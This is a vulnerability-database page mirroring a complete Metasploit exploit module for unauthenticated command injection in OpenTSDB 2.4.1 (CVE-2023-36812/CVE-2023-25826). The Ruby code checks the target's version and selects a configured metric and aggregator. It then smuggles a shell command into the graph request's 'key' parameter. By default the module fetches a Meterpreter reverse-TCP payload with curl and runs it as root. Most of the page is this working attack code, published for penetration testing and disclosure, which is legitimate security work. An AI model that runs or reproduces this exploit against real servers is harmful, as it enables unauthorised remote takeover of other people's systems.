Lucene search
K

OpenTSDB 2.4.1 Unauthenticated Command Injection

🗓️ 08 Sep 2023 00:00:00Reported by Erik Wynter, Gal Goldstein, Daniel Abeles, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 541 Views

OpenTSDB 2.4.1 Unauthenticated Command Injection CVE-2023-36812/CVE-2023-25826, allows unauthenticated remote code execution as root user. Successfully tested against version 2.4.1

Related
Code
ReporterTitlePublishedViews
Family
0day.today
OpenTSDB 2.4.1 Unauthenticated Command Injection Exploit
11 Sep 202300:00
zdt
GithubExploit
Exploit for OS Command Injection in Opentsdb
7 Sep 202313:47
githubexploit
Circl
CVE-2023-25826
3 May 202322:31
circl
Circl
CVE-2023-36812
4 Jul 202312:53
circl
CNNVD
OpenTSDB 操作系统命令注入漏洞
3 May 202300:00
cnnvd
CNNVD
OpenTSDB 注入漏洞
30 Jun 202300:00
cnnvd
CVE
CVE-2023-25826
3 May 202318:33
cve
CVE
CVE-2023-36812
30 Jun 202322:58
cve
Cvelist
CVE-2023-25826 Remote Code Execution in OpenTSDB
3 May 202318:33
cvelist
Cvelist
CVE-2023-36812 Remote Code Execution in OpenTSDB
30 Jun 202322:58
cvelist
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'OpenTSDB 2.4.1 unauthenticated command injection',  
'Description' => %q{  
This module exploits an unauthenticated command injection  
vulnerability in the key parameter in OpenTSDB through  
2.4.1 (CVE-2023-36812/CVE-2023-25826) in order to achieve  
unauthenticated remote code execution as the root user.  
  
The module first attempts to obtain the OpenTSDB version via  
the api. If the version is 2.4.1 or lower, the module  
performs additional checks to obtain the configured metrics  
and aggregators. It then randomly selects one metric and one  
aggregator and uses those to instruct the target server to  
plot a graph. As part of this request, the key parameter is  
set to the payload, which will then be executed by the target  
if the latter is vulnerable.  
  
This module has been successfully tested against OpenTSDB  
version 2.4.1.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Gal Goldstein', # discovery  
'Daniel Abeles', # discovery  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' => [  
['URL', 'https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw'], # security advisory  
['CVE', '2023-36812'], # CVE linked in the official security advisory  
['CVE', '2023-25826'] # CVE that seems to be a dupe of CVE-2023-36812 since it describes the same issue and references the PR that introduces the commits that are referenced in CVE-2023-36812  
],  
'Platform' => 'linux',  
'Arch' => 'ARCH_CMD',  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',  
'RPORT' => 4242,  
'SRVPORT' => 8080,  
'FETCH_COMMAND' => 'CURL',  
'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4),  
'FETCH_WRITABLE_DIR' => '/tmp',  
'FETCH_SRVPORT' => 8081  
},  
'Targets' => [ [ 'Linux', {} ] ],  
'DefaultTarget' => 0,  
'Privileged' => true,  
'DisclosureDate' => '2023-07-01',  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('TARGETURI', [true, 'The base path to OpenTSDB', '/']),  
]  
end  
  
def check  
# sanity check to see if the target is likely OpenTSDB  
res1 = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
  
unless res1  
return CheckCode::Unknown('Connection failed.')  
end  
  
unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB')  
return CheckCode::Safe('Target is not an OpenTSDB application.')  
end  
  
# get the version via the api  
res2 = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api', 'version')  
})  
  
unless res2  
return CheckCode::Unknown('Connection failed.')  
end  
  
unless res2.code == 200 && res2.body.include?('version')  
return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.')  
end  
  
begin  
parsed_res_body = JSON.parse(res2.body)  
rescue JSON::ParserError  
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')  
end  
  
unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version')  
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')  
end  
  
version = parsed_res_body['version']  
  
begin  
if Rex::Version.new(version) <= Rex::Version.new('2.4.1')  
return CheckCode::Appears("The target is OpenTSDB version #{version}")  
else  
return CheckCode::Safe("The target is OpenTSDB version #{version}")  
end  
rescue ArgumentError => e  
return CheckCode::Unknown("Failed to obtain a valid OpenTSDB version: #{e}")  
end  
end  
  
def select_metric  
# check if any metrics have been configured. if not, exploitation cannot work  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'suggest'),  
'vars_get' => { 'type' => 'metrics' }  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection failed.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured metrics")  
end  
  
begin  
metrics = JSON.parse(res.body)  
rescue JSON::ParserError  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.')  
end  
  
unless metrics.is_a?(Array)  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array')  
end  
  
if metrics.empty?  
fail_with(Failure::NoTarget, 'Failed to identify any configured metrics. This makes exploitation impossible')  
end  
  
# select a random metric since any will do  
@metric = metrics.sample  
print_status("Identified #{metrics.length} configured metrics. Using metric #{@metric}")  
end  
  
def select_aggregator  
# check the configured aggregators and select one at random  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'aggregators')  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection failed.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured aggregators")  
end  
  
begin  
aggregators = JSON.parse(res.body)  
rescue JSON::ParserError  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain valid JSON.')  
end  
  
unless aggregators.is_a?(Array)  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain a JSON array')  
end  
  
if aggregators.empty?  
fail_with(Failure::NoTarget, 'Failed to identify any configured aggregators. This makes exploitation impossible')  
end  
  
# select a random aggregator since any will do  
@aggregator = aggregators.sample  
print_status("Identified #{aggregators.length} configured aggregators. Using aggregator #{@aggregator}")  
end  
  
def execute_command(cmd, _opts = {})  
# we need to percent encode the entire command.  
# however, the + character cannot be used and percent encoding does not help for it. so we need to change chmod +x with chmod 744  
cmd = CGI.escape(cmd.gsub('chmod +x', 'chmod 744'))  
start_time = rand(20.year.ago..10.year.ago) # this should be a date far enough in the past to make sure we capture all possible data  
start_value = start_time.strftime('%Y/%m/%d-%H:%M:%S')  
end_time = rand(1.year.since..10.year.since) # this can be a date in the future to make sure we capture all possible data  
end_value = end_time.strftime('%Y/%m/%d-%H:%M:%S')  
get_vars = {  
'start' => start_value,  
'end' => end_value,  
'm' => "#{@aggregator}:#{@metric}",  
'o' => 'axis+x1y2',  
'ylabel' => Rex::Text.rand_text_alphanumeric(8..12),  
'y2label' => Rex::Text.rand_text_alphanumeric(8..12),  
'yrange' => '[0:]',  
'y2range' => '[0:]',  
'key' => "%3Bsystem%20%22#{cmd}%22%20%22",  
'wxh' => "#{rand(800..1600)}x#{rand(400..600)}",  
'style' => 'linespoint'  
}  
  
exploit_uri = '?'  
get_vars.each do |key, value|  
exploit_uri += "#{key}=#{value}&"  
end  
exploit_uri += 'json'  
  
# using a raw request because cgi was leading to encoding issues  
send_request_raw({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'q' + exploit_uri)  
}, 0) # we don't have to wait for a reply here  
end  
  
def exploit  
select_metric  
select_aggregator  
print_status('Executing the payload')  
execute_command(payload.encoded)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Sep 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.19.8
EPSS0.84874
SSVC
541